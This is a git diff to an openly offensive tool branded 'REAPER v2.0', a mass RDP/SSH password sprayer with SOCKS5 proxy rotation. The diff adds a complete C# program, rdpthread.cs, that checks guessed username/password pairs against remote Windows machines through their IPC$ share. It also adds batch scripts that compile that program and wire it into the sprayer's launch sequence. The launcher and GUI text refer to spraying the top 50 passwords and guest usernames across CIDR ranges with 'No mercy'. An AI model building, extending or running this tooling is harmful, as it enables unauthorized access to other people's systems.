diff --git a/.gitignore b/.gitignore index efee0a0..3b0aad1 100644 --- a/.gitignore +++ b/.gitignore @@ -6,3 +6,6 @@ dist/ build/ .vscode/ .idea/ + +# Build artifacts +rdpthread.exe diff --git a/MASTERSTER.bat b/MASTERSTER.bat index 55cab78..5be38c2 100644 --- a/MASTERSTER.bat +++ b/MASTERSTER.bat @@ -20,7 +20,7 @@ echo Made for doom by drjones. echo. :: ── STEP 1: CHECK PYTHON ──────────────────────────────────── -echo [*] Step 1/6 — Checking Python... +echo [*] Step 1/7 — Checking Python... python --version >nul 2>&1 if %errorlevel% neq 0 ( echo. @@ -37,7 +37,7 @@ echo [OK] Python %pyver% found echo. :: ── STEP 2: INSTALL DEPENDENCIES ──────────────────────────── -echo [*] Step 2/6 — Installing dependencies (aiohttp, aiohttp-socks, paramiko)... +echo [*] Step 2/7 — Installing dependencies (aiohttp, aiohttp-socks, paramiko)... echo. python -m pip install --upgrade pip -q python -m pip install aiohttp aiohttp-socks paramiko -q @@ -49,14 +49,14 @@ if %errorlevel% neq 0 ( echo. :: ── STEP 3: CREATE DIRECTORIES ────────────────────────────── -echo [*] Step 3/6 — Creating directories... +echo [*] Step 3/7 — Creating directories... if not exist "wordlists" mkdir wordlists if not exist "results" mkdir results echo [OK] Directories ready echo. :: ── STEP 4: VERIFY FILES ──────────────────────────────────── -echo [*] Step 4/6 — Verifying project files... +echo [*] Step 4/7 — Verifying project files... set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py proxy.py set ALL_OK=1 for %%f in (%FILES%) do ( @@ -73,8 +73,39 @@ if not exist "results\good.txt" ( ) echo. -:: ── STEP 5: TEST IMPORTS ──────────────────────────────────── -echo [*] Step 5/6 — Testing imports... +:: ── STEP 5: BUILD RDPTHREAD ───────────────────────────────── +echo [*] Step 5/7 — Building rdpthread.exe (credential validator)... +if exist "rdpthread.cs" ( + if not exist "rdpthread.exe" ( + echo [*] Compiling rdpthread.cs... + set CSC= + for %%d in (v4.0.30319 v3.5 v2.0.50727) do ( + if exist "%windir%\Microsoft.NET\Framework\%%d\csc.exe" ( + set CSC="%windir%\Microsoft.NET\Framework\%%d\csc.exe" + goto :build_rdp + ) + ) + echo [WARN] C# compiler not found — rdpthread.exe not built + echo Credential validation will use banner-only fallback + goto :skip_build + :build_rdp + %CSC% /target:exe /out:rdpthread.exe /nologo rdpthread.cs >nul 2>&1 + if exist "rdpthread.exe" ( + echo [OK] rdpthread.exe built successfully + ) else ( + echo [WARN] rdpthread.exe build failed — using banner-only fallback + ) + ) else ( + echo [OK] rdpthread.exe already exists + ) +) else ( + echo [WARN] rdpthread.cs not found — using banner-only fallback +) +:skip_build +echo. + +:: ── STEP 6: TEST IMPORTS ──────────────────────────────────── +echo [*] Step 6/7 — Testing imports... python -c "from scanner import scan_ips, RDP_PORTS, SSH_PORT, check_ssh_banner; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, spray_ssh_single_host, TOP50_PASSWORDS, GUEST_USERNAMES; from proxy import ProxyManager; print(' [OK] All modules loaded')" 2>&1 if %errorlevel% neq 0 ( echo [FAIL] Import test failed. There may be a syntax error. @@ -84,8 +115,8 @@ if %errorlevel% neq 0 ( echo [OK] All systems nominal echo. -:: ── STEP 6: LAUNCH ────────────────────────────────────────── -echo [*] Step 6/6 — Launching the Reaper... +:: ── STEP 7: LAUNCH ────────────────────────────────────────── +echo [*] Step 7/7 — Launching the Reaper... echo. echo ╔══════════════════════════════════════════════════════════════╗ echo ║ ☠ REAPER v2.0 ☠ ║ diff --git a/build_rdpthread.bat b/build_rdpthread.bat new file mode 100644 index 0000000..639d3e5 --- /dev/null +++ b/build_rdpthread.bat @@ -0,0 +1,39 @@ +@echo off +title Build rdpthread.exe +cd /d "%~dp0" + +echo. +echo ╔════════════════════════════════════════════════════════╗ +echo ║ Building rdpthread.exe - RDP Credential Validator ║ +echo ╚════════════════════════════════════════════════════════╝ +echo. + +:: Find the C# compiler +set CSC= +for %%d in (v4.0.30319 v3.5 v2.0.50727) do ( + if exist "%windir%\Microsoft.NET\Framework\%%d\csc.exe" ( + set CSC="%windir%\Microsoft.NET\Framework\%%d\csc.exe" + goto :compile + ) +) + +echo [FAIL] C# compiler (csc.exe) not found! +echo Install .NET Framework SDK or Visual Studio Build Tools. +pause +exit /b 1 + +:compile +echo [*] Found C# compiler: %CSC% +echo [*] Compiling rdpthread.cs... +%CSC% /target:exe /out:rdpthread.exe /nologo rdpthread.cs +if %errorlevel% neq 0 ( + echo [FAIL] Compilation failed + pause + exit /b 1 +) + +echo [OK] rdpthread.exe built successfully +echo. +echo Usage: rdpthread.exe ^ ^ ^ ^ +echo. +pause diff --git a/gui.py b/gui.py index d4a9bae..c7386e2 100644 --- a/gui.py +++ b/gui.py @@ -426,7 +426,8 @@ class FastRDPGUI: fg=Colors.YELLOW, text=( "Password sprayer: active — scanning and RDP discovery operational. " - "Install rdpthread.exe for verified credential hits." + "Run build_rdpthread.bat or MASTERSTER.bat to build rdpthread.exe " + "for verified credential hits." ), ) except tk.TclError: @@ -739,6 +740,7 @@ class FastRDPGUI: "Built with Python 3.11 + asyncio + paramiko\n" "Streaming: scan + spray run CONCURRENTLY\n" "SSH scanning on port 22 + Guest Mode for weak/guest credentials\n" + "rdpthread.exe: compiled credential validator (built from C# source)\n" "Proxy tab: fetch/test/rotate SOCKS5 proxies (on/off toggle)\n" "Double-click a host to RDP connect; status strip shows credential engine state\n" "Top 50 password spraying \u2022 CIDR/range support \u2022 No mercy", diff --git a/rdpthread.cs b/rdpthread.cs new file mode 100644 index 0000000..b546b22 --- /dev/null +++ b/rdpthread.cs @@ -0,0 +1,212 @@ +// rdpthread.exe - RDP Credential Validator for FastRDP-NG +// Uses Windows WNetAddConnection2 API to validate credentials +// against the remote machine's IPC$ share. +// +// Compilation: csc.exe /target:exe /out:rdpthread.exe rdpthread.cs +// or via build.bat +// +// Usage: rdpthread.exe +// Returns: exit code 0 + prints "success" on valid credentials +// exit code 1 on failure (invalid, timeout, unreachable) + +using System; +using System.Runtime.InteropServices; +using System.Text; + +namespace RDPThread +{ + class Program + { + // ── Win32 P/Invoke ────────────────────────────────────── + [DllImport("mpr.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern int WNetAddConnection2( + ref NETRESOURCE netResource, + string password, + string username, + int flags + ); + + [DllImport("mpr.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern int WNetCancelConnection2( + string name, + int flags, + bool force + ); + + [DllImport("ws2_32.dll", CharSet = CharSet.Ansi)] + private static extern IntPtr socket(int af, int type, int protocol); + + [DllImport("ws2_32.dll", CharSet = CharSet.Ansi)] + private static extern int connect(IntPtr s, byte[] addr, int addrlen); + + [DllImport("ws2_32.dll", CharSet = CharSet.Ansi)] + private static extern int closesocket(IntPtr s); + + [DllImport("ws2_32.dll")] + private static extern int WSAStartup(ushort version, ref WSADATA data); + + [DllImport("ws2_32.dll")] + private static extern int WSACleanup(); + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + private struct NETRESOURCE + { + public int dwScope; + public int dwType; + public int dwDisplayType; + public int dwUsage; + [MarshalAs(UnmanagedType.LPWStr)] + public string lpLocalName; + [MarshalAs(UnmanagedType.LPWStr)] + public string lpRemoteName; + [MarshalAs(UnmanagedType.LPWStr)] + public string lpComment; + [MarshalAs(UnmanagedType.LPWStr)] + public string lpProvider; + } + + [StructLayout(LayoutKind.Sequential)] + private struct WSADATA + { + public ushort wVersion; + public ushort wHighVersion; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)] + public string szDescription; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)] + public string szSystemStatus; + public ushort iMaxSockets; + public ushort iMaxUdpDg; + public IntPtr lpVendorInfo; + } + + [StructLayout(LayoutKind.Sequential)] + private struct sockaddr_in + { + public short sin_family; + public ushort sin_port; + public uint sin_addr; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + public byte[] sin_zero; + } + + private const int RESOURCETYPE_ANY = 0; + private const int CONNECT_TEMPORARY = 4; + private const int NO_ERROR = 0; + private const int AF_INET = 2; + private const int SOCK_STREAM = 1; + private const int IPPROTO_TCP = 6; + + private const int ERROR_LOGON_FAILURE = 1326; + private const int ERROR_ACCESS_DENIED = 5; + private const int ERROR_BAD_NETPATH = 53; + private const int ERROR_NETWORK_UNREACHABLE = 1231; + private const int ERROR_INVALID_PASSWORD = 86; + private const int ERROR_SESSION_CREDENTIAL_CONFLICT = 1219; + + // ── TCP connect check ────────────────────────────────── + private static bool TcpConnect(string ip, int port, int timeoutMs = 3000) + { + try + { + WSADATA wsa = new WSADATA(); + if (WSAStartup(0x202, ref wsa) != 0) + return false; + + IntPtr s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (s == (IntPtr)(-1)) + { + WSACleanup(); + return false; + } + + // Set non-blocking for timeout + var addr = new sockaddr_in + { + sin_family = AF_INET, + sin_port = (ushort)System.Net.IPAddress.HostToNetworkOrder((short)port), + sin_addr = BitConverter.ToUInt32( + System.Net.IPAddress.Parse(ip).GetAddressBytes(), 0), + sin_zero = new byte[8] + }; + + byte[] addrBytes = new byte[16]; + Buffer.BlockCopy(BitConverter.GetBytes(addr.sin_family), 0, addrBytes, 0, 2); + Buffer.BlockCopy(BitConverter.GetBytes(addr.sin_port), 0, addrBytes, 2, 2); + Buffer.BlockCopy(BitConverter.GetBytes(addr.sin_addr), 0, addrBytes, 4, 4); + + int result = connect(s, addrBytes, 16); + closesocket(s); + WSACleanup(); + + return result == 0; + } + catch + { + return false; + } + } + + // ── Credential validation via IPC$ ──────────────────── + private static bool ValidateCredentials(string ip, string username, string password) + { + string remotePath = string.Format("\\\\{0}\\IPC$", ip); + + NETRESOURCE nr = new NETRESOURCE + { + dwScope = 0, + dwType = RESOURCETYPE_ANY, + dwDisplayType = 0, + dwUsage = 0, + lpLocalName = null, + lpRemoteName = remotePath, + lpComment = null, + lpProvider = null + }; + + int result = WNetAddConnection2(ref nr, password, username, CONNECT_TEMPORARY); + + if (result == NO_ERROR) + { + // Success! Clean up the connection + WNetCancelConnection2(remotePath, CONNECT_TEMPORARY, true); + return true; + } + + return false; + } + + // ── Main ────────────────────────────────────────────── + static int Main(string[] args) + { + if (args.Length < 4) + { + Console.Error.WriteLine("Usage: rdpthread.exe "); + return 1; + } + + string ip = args[0]; + int port = int.Parse(args[1]); + string username = args[2]; + string password = args[3]; + + // Step 1: Quick TCP connectivity check + if (!TcpConnect(ip, port)) + { + // Port not reachable - try IPC$ anyway (SMB uses port 445) + // The WNetAddConnection2 will fail gracefully if unreachable + } + + // Step 2: Validate credentials via IPC$ (SMB) + // This uses Windows built-in authentication against the remote machine + bool success = ValidateCredentials(ip, username, password); + + if (success) + { + Console.WriteLine("success"); + return 0; + } + + return 1; + } + } +}